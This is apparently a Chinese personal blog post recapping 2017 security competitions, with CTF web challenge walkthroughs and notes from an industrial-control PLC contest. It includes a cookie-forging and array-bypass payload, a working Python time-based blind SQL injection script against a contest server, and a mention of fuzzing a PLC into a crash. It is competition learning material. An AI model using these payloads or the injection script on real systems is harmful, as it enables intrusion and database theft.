前言
好久没有更新博客了,这一段时间自己也比较懒,主要还是进行了两次比赛吧,东奔西跑的。也很难让自己沉淀下来。就简单的总结一下比赛的过程,然后发现自己的不足。
关于比赛
CNAS T0832网络安全等级保护测评能力验证与攻防大赛
2017年中关村信息安全测评联盟测评能力验证与攻防大赛
2017年工业信息安全技能大赛
一场比赛,一场懵逼,一场比赛,一场菜。
首先说一下第一场比赛感觉和解题过程。
比赛是在北京双十一当天的下午。进行WEB解题,从技术支撑I春秋就能发现,类似CTF-WEB题,共十道题,难度又长又短吧。比赛当时队伍中也是我一个人在解题,时间上肯定是不够用的。
题目一(身份鉴别)
直接信息收集 robots.txt获得后台登录界面,然后bp抓包,也该源代码中有提示admin/admin登录成功getflag
题目二(安全审计)
题目提示是有小黑攻入web服务,放置了app留有后门,通过扫描之后发现access.log和error.log日志文件里面有apk 的地址,下载app进行逆向分析,当时是使用的dex2jar+jd-gui进行反编译的,出现了问题,事后复现了一下,使用jeb这个或者android_kill进行反编译比较方便一些。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16public class MainActivity extends AppCompatActivity {
public MainActivity() {
super();
}
protected void onCreate(Bundle arg6) {
int v3 = 56;
int[] v0 = new int[]{150, 161, 180, 164, 150, 255, 191, 248, 130, 152, 142, 161, 129, 136, 137, 255, 129, 165, 252, 187, 130, 152, 153, 180, 128, 152, 157, 187, 130, 166, 137, 184, 149, 161, 137, 255, 150, 165, 252, 254, 130, 152, 137, 181, 149, 166, 175, 180, 150, 136, 154, 166, 130, 166, 168, 245};
int v1;
for(v1 = 0; v1 < v3; ++v1) {
v0[v1] ^= 204;
}
new String(Base64.decode(v0.toString(), 0));
super.onCreate(arg6);
this.setContentView(2130968603);
}
}
这里就很容易的发现是对204进行异或,只要再进行一次异或就能知道原来的数据
Python写一个脚本
题目三(访问控制与授权)
- 首先抓包进行分析,cookie中有一个role参数进行base解码s:5:”guest” 所以替换成admin传入得到源代码
1 |
|
首先是绕过data里面的值$s = implode($data); 可以看出是数组才有返回值,然后才能过if(!preg_match(‘[<>?]’, $s)){
应为之前判断也是检测data所以数组可以绕过payload filename=1.php&data[]=s < das
只有加上<>就可以
题目四(数据保密存储)
- 页面很简单就是一个大马的登录界面,这个题说白了就是爆破,但是想了一下组合的可能太多,事后知道是4位数组,爆破出来的话就简单了。
题目五(漏洞检测)
题目提示网站存在漏洞,但是使用工具却没有发现问题所在,存在问题的参数是phone。
打开题目发现是登录注册的题,一般不是存在源码就是注入或者挨个测试参数。
简单的测试发现是挨个测试参数的问题,那就着重测试phone参数,最后发现是十六进制。
首先注册然后登录
check.php 查看此电话号码 有多少人使用,源代码中有提示 admin 的phone
之后注册填入phone 用户名不能重复 phone 是数字 不能是字符,猜测0x 的二次注入
麻烦的就是每次注册要使用不同的用户。
思路整理一下就可以开始撸py脚本了1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45#coding:utf-8
import requests
import random
import string
# print hex_s
# database="webdb"
database=""
#pass c199055fc2c7a66eb257dd3c865398
strstr="-\{0123456789abcdefghijklmnopqrstuvwxyz\}"
for x in range(20,50):
for z in strstr:
reg_url="http://172.16.5.105/register.php"
username='mmp'+str(random.randint(9999, 10000000))
sqlstr="1 and(if((ascii(substring((select phone from user limit 0,1),%s,1))=%s),sleep(3),1))" %(x,ord(z))
#sqlstr="1 and(if((ascii(substring(database(),%s,1))=%s),sleep(3),0))" %(x,z)
# print sqlstr
hex_s=""
for i in sqlstr:
hex_s=hex_s+hex(ord(i)).replace('0x','')
r_data={
"username":username,
"password":"123",
"phone":"0x"+hex_s
}
res=requests.post(reg_url, data=r_data,timeout=20)
# print username
# print res.content
#先注册
log_url="http://172.16.5.105/login.php"
log_data={
"username":username,
"password":"123"
}
S=requests.session()
l_res=S.post(log_url, data=log_data,timeout=20)
index_url="http://172.16.5.105/index.php"
index_res=S.get(index_url)
# print index_res.content
check_url="http://172.16.5.105/check.php"
try:
check_res=S.get(check_url,timeout=3)
except Exception, e:
# print sqlstr
database=database+z
print database
赛后把这个题目的源代码复现了一下 详细的功能可以看 github 测评文件。
其他题目
当时比赛就一下午的时间,一个人做时间上有点来不及,后面的题目,大概是绕waf注入的题目,没有来得及仔细分析时间就到了。
工控的比赛
以前也也没有接触过工控安全,所以赛前准备了一下知识点和方法。
比赛地点是在杭州的电子科技大学
比赛时间19-21
都是从早8:00到晚20:00
前两天是PLC硬件的调试和挖掘
前期准备就是尝试收集网上的挖掘方法和已知的漏洞exp,工业漏洞安全报告文档等。
干货比较十足的是
KCon2015 Exploit PLC on the internet.pdf
KCon2015 工控系统安全威胁与应对探索.pdf
漏洞体现可以从 端口、协议和服务三方面进行体现
测试挖掘的方向1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28内存溢出区内的操作不正确的限制
• 不正确的输入验证
• 限制目录路径名的不正确规则
• 权限和访问控制
• 信息曝光
• 凭证管理
• 验证不正确
• 资源管理错误
• 页面生成过程中的不正确(跨站脚本)
• 数字错误
SCADA网络安全防范
虽然无法在部署之前了解和检测所有安全漏洞,但可以肯定的是通过采用下面纵深防御措施一定可以主动地减轻攻击者对SCADA网络造成的安全破坏:
• 开发安全策略;
• 实现ACL;
• 使用MAC地址过滤;
• 使用VLAN分段;
• 加强SCADA设备物理安全,包括警报和防撬管理;
• 不允许使用第三方USB及相关存储设备;
• 实现支持SCADA协议防御机制的NIDS/NIPS;
• 整合操作系统和固件升级(包括补丁维护);
• 实现高强度的加密功能;
• 确保已经准备好二重或三重身份验证策略;
• 确保计划内的内部安全评估得到如期执行;
• 考虑使用工控漏扫ICSscan以及包含fuzzing测试功能的ICSscan定期对工控系统进行安全评估;
• 如果可能的话,使用诸如SSH、DNPsec、TLS、DTLS、SSL、PKI和IPsec之类的保护性协议;
• 如果使用的是拨号调制解调器,那么实现支持活动日志、加密、名字和口令身份验证的增强型安全措施;
• 实现一套SIEM安全信息和事件管理系统来完成日志聚合、日志审查和审计分析;
• 为所有合适的防火墙、交换机、路由器、NIPS和NIDS设备实现可扩展的边界网络策略。
第一天趟了一上午,然后就会宾馆了,主要是熟悉了一下PLC_config控制软件,进行对PLC设备调试一些执行和抓抓包分析一下。
第二天发现使用AlphaFuzzer1.6 进行网络协议fuzz结果可以把plc直接跑到宕机。也算是一个漏洞吧,哈哈。
然后再抓包分析,感觉PLC设备没有什么验证机制,fuzz起来还是能发现它挺脆弱的。
然后写文档走人了,没有报进入决赛的希望,什么都不会,在杭电的体育馆中待着还是挺冷的。
最后一点SCADA软件检测就更加蒙蔽了。应该算是草草离场了。
总结
网络安全的趋势感觉要覆盖很广的领域,想要能发现问题,编程技能和基础知识就显得更加的重要了。漏洞挖掘的思路和手段就应该加强,后面学习一下fuzzing的技术和手段,希望以后能沉住气,踏踏实实的走好每一步。最后想要这两场比赛的题目和SCADA软件的可以私聊,一起交流。
Powered by HyperComments